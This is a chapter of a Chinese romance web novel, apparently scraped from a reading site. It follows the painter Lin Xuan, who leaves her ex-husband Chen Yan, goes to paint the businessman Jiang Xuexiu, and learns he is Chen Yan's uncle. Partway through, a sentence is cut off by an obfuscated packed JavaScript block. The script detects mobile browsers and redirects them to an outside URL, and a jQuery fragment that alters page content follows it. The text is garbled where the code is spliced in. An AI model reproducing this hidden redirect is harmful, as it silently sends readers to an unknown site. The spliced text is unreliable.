“我不要。”
林玄几乎是没有思索便说出了这句话,可当她话说出口,却又愣住了。
她知道,W说的对。
她的确需要一些时间整理这段关系。
她与W的开始,是想要一个人来代替她心中陈宴的位置,可她的心却并不认同这样的做法。
大抵对她来说,陈宴还是一个极为特殊的存在。
又或者,对林玄而言,如果陈宴在她心目中的位置被替代了,就好像过去的那段日子并没有存在过。
没有人知道他们曾经有过一段情,也没有事物可以佐证。
一切的一切,都像是一场延续了很久的梦。
W没急着应她,只是无奈地与她对视。
他的身躯微微弓着,两手撑在桌上,等待林玄最后的决定。
他似乎也看得出来林玄说的话是气话。
她执拗地想要挽留一个像极了陈宴的替身,好像那样就能够挽回以前的那段感情。
但林玄迟迟没有开口。
她很清楚,这样的想法十分的无稽且可笑。
林玄张嘴要离开,陈宴便从车上替她取下行李箱。
过后他又再三确认她的情绪,直到被林玄埋怨,才依依不舍地目送她离开。
林玄走后,他又在餐桌前缓了缓,折返回到厨房收拾残局。
看着料理台上的两份心太软,陈宴愣怔了许久。
有时,他也会觉得自己捉摸不透林玄。
她在不必要的时候,总是心软到令人心疼;
却在他需要她回头时,狠心肠到一丝辩解的机会也没留给他。
这份心太软究竟能为他的过错弥补回多少,他不知道。
可以说,他现在一点把握也没有。
像是独自漂流在公海,除了日升日落,再没有确切的时间参考。
他不知道即将到达的对岸是何地,也不知道何时能到达那个对岸。
也许永远都不会。
他只知道,今天这份心太软不会等到它的主人。
陈宴看着两份冷掉的甜品,像是在对镜自怜。
“你也没人要吗?我也是。”
他自嘲着一个人将两份甜品都吃下,仍旧觉得胸口苦涩难分。
无论他找了多有资历的厨师,多少配方,却好像怎么也做不出以前的味道。
以前林玄给他做的,心太软的味道。
林玄离开了别墅后,拖着行李箱,又顺着导航徒步到了蒋学修家门口。
她站在门外,微风吹过脸庞,才惊觉面上泪痕。
林玄用指腹稍稍拭过泪水,却仍觉得胸口焦抑难忍。指尖传来的麻痹仿佛连接着她的心脏,一阵一阵的放缩,像是想握住什么却又抓不住。
手足无措,她只能将裙摆一次次地抚平,又一次次被风愚弄。
不知过了多久,她的心跳也只是稍稍平缓。
垂眼看着满屏的消息,一眼望去几乎都是工作相关,她只觉得疲惫。
她好像被世界抛弃了。
短暂而匆忙地补妆后,林玄揿下门铃,强打着精神扬起嘴角,将笑容凝固在脸上。
客人不喜欢看她苦哈哈的样子。
“您好,我叫林玄,是来给蒋先生画画像的。”
即使没有心情,她依旧需要履行约定,在今日到达蒋学修家中,为他画画像。
在这一行,能有出手阔绰的客人是很难得的。
一旦坏了名声,富人圈子也小,传开了也就没有人乐意请她了。
无论在外人眼中,这份工作有多高尚,嘴上吹嘘的“艺术家”有多动听,也难以改变它本质上是服务业的事实。
管家领着林玄进门,穿过富丽堂皇的大厅,直入内里的会客室。
“先生,林小姐到了。”
原先面对落地窗方向的靠椅缓缓转动。
林玄小心翼翼地打量着面前的男人,他看上去上了些年纪,约摸着比林玄的父亲还要大上五六岁。
身上穿着笔挺的中山装明显是为了今天准备的,比起平日林玄在新闻上见到的蒋学修,今天的他更是显得清爽而精神。
兴许是剃了颌下斑白胡子的缘故。
鬓边发有些发白,一双杏眼旁的皱纹在他微笑下存在感剧增。
林玄知道的蒋学修,是有社会责任心的企业家,没少参与捐款成立基金帮扶山区,这些善事仿佛也在他的面相上浮现。
男人的长相是极近祥和的,笑容温柔得没有企业家的架子,若非是身边围了一圈服装化妆的工作者,他看上去就只是一个身体硬朗的老头子罢了。
“来了?”他只稍稍张张嘴,身边的人们就低垂下了脑袋,男人看向林玄的眼神像是威严中带着一丝亲昵。
蒋学修虽然没有责备林玄,可林玄还是觉得有些窘迫,毕竟对他们来说时间的确等同于金钱。
没有一个企业家会容忍一个微不足道的画师浪费他的时间。
即使表面上没有不悦,背地里也会将这些怨气发泄到其他人身上。
根本不对等的关系里,是没有“尊重”二字的。
林玄微微抬眸,用余光去瞥周围的服化工作者,她们脸上依旧没有半点不悦,甚至可以说没有任何情绪。
她不禁暗自赞叹她们的业务能力。
从事这份工作的这一年,她也会有情绪,时常会因为精神紧张到无法正常创作。
可工作无法终止,富人们的档期有限,今天走了下次就不知道是什么时候了。
又或者,还会不会找林玄都成了一个问题。
林玄只能用左手一直紧紧握着右手,一边止住手上躯体化的震颤一边继续为客人作画。就算脸上没能显现出来,林玄也知道,这一年来她借酒消愁的次数越来越多,越来越频繁。
她现在自由了,却不快乐。
所幸她坦然地接受了这一切,还时不时戏称这就是自由的代价。
林玄朝面前的蒋学修颔首,应答着:“抱歉,来迟了。”
“是我该说抱歉才对,明明说好让司机来接林小姐,没想到还要林小姐自己来。”蒋学修哈哈大笑,将此事轻描淡写地带过,就像真的没有把这件事放在心上一样。
林玄搔搔脑袋,陪笑着摇摇头,“那我们开始吧?”
“好,好,”对面的男人点点头,随即昂起脑袋,将背挺得笔直,双臂微微张开,展肩将双手搭在面前的长桌上。
“其实,”林玄看得出男人的拘谨,这样的姿势也并不利于长时间保持,再者她也没打算让他长时间保持一个动作,只要观察捕捉到客人的神态就足够了,“蒋先生可以放松一些,什么姿势方便就保留什么姿势即可。”
颜料和画布,对方早已替林玄备好,画架正架在面对桌椅的旁侧,方便林玄观察与作画。
林玄自己也有准备工具,只是大多数时候,贵客们都会提前让人备好些价格不菲的颜料,以此彰显自己的财力。
她对客人们的这些炫耀的行为并不排斥,再者,一分钱一分货,高昂的颜料的确在显色与调色方面都更胜一筹,她也
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16305790|182828||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
没有拒绝的理由。
听到林玄的话,蒋学修才稍稍放松了些,向后倚靠在椅背上,脸上的表情更显惬意。
林玄见到蒋学修的神情,提溜着的心也算放松了些,安心地用炭笔在画布上画草稿。
“林小姐……”对方突如其来的搭讪让林玄的手突然抖了抖,她没吱声,只是接着等待男人的问话。
“你和侄儿是什么时候认识的?”蒋学修似乎也知道自己的问话唐突,随即又补充道:“哦,侄儿就是,陈宴。”
“……”林玄本以为自己的心情早已在踏入别墅外门的那一刻平缓,却没想到暗涌更是凶猛。
她绝对不会想到,再次听到陈宴的名字是在这里。
手中的炭笔因她指尖止不住的震颤而摔落在地,让地毯也染上了一点黑。
她垂眸盯着那一墨点,又感觉染上污渍的并不是地毯,而是她。
她觉得有些不堪。
那段往事她从来没有向除了凌淼以外的任何人提起过。
她妄想着逃回国内就不会有人知道她的那段婚姻,她只需要拉黑所有的大学同学即可开始她的新生活。
可世事从不随人愿。
林玄心乱如麻,可她却寻不到一个借口将这个话题搪塞过去。
既然对方提到陈宴,自然说明这桩生意是陈宴替她拉拢的,装傻充愣是万万行不通的,除了让对方留下满嘴胡话的坏印象以外没有半点用处。
“抱歉……蒋先生,”她深呼吸了几口气,脊背一下一下地抽搐不休,以为自己已经准备好了才张嘴回答,却听到了自己颤抖的声音,“我想,现在不是谈私事的时候。”
她的话刚说出口,便有些后悔。
她与蒋学修,是雇佣关系,她并没有任何拒绝的权利。
她怎么会妄想在这里寻尊重呢?未免太幼稚了。
开弓没有回头箭,她如今只能怯生生地昂起脑袋,从画框上方悄悄朝男人脸上望去。
令人她惊讶的是,对方并没有生气,脸上依旧平和,只是若有所思地点点头,“对,既然林小姐不想与我搭话,那我自言自语总可以吧?”
“我不是那个意思……”她知道自己的辩驳有些无力,却也只能这样回话。
“无妨,我也没有要责怪林小姐的意思。”蒋学修笑得粲然,显然没有把这件事放在心上,林玄见状心头的雾也总算散却了半分。
“侄儿最近,也在学油画,不知道他的老师和林小姐比,谁更有影响力呢。”他暗自喃喃,却让林玄听出了另一种意味。
从前两人还是恋人的时候,陈宴便没少被林玄捉来当模特。
说是当模特,不过是他对着平板上的股市苦思冥想,林玄对着他认真的模样痴痴地笑,一边笑又一边用画笔记录。
陈宴见她笑得开怀,也没戳破,只是顺手将股市切到了后台,在备忘录上悄悄画下了林玄的模样。
他画得真丑,真的。
林玄看到那幅画上的自己,坐姿歪歪扭扭,身材比例极度地不协调,没忍住嘲笑陈宴“当真是没什么艺术天赋”。
陈宴又羞又恼,愣是捉着她抱在怀里,威逼利诱她教他画画。
只是后来,两人各自为了学业奔波不休,再没有这样那样的闲暇来共执笔作画,林玄教陈宴画画的承诺也成了空,直到离婚那一刻依旧没能实现。
“是吗……”林玄弯腰将炭笔拾回,一边压抑着胸口的冲动一边加快了作画的速度。
她如今脑袋里就只有一个念头:
离开这里。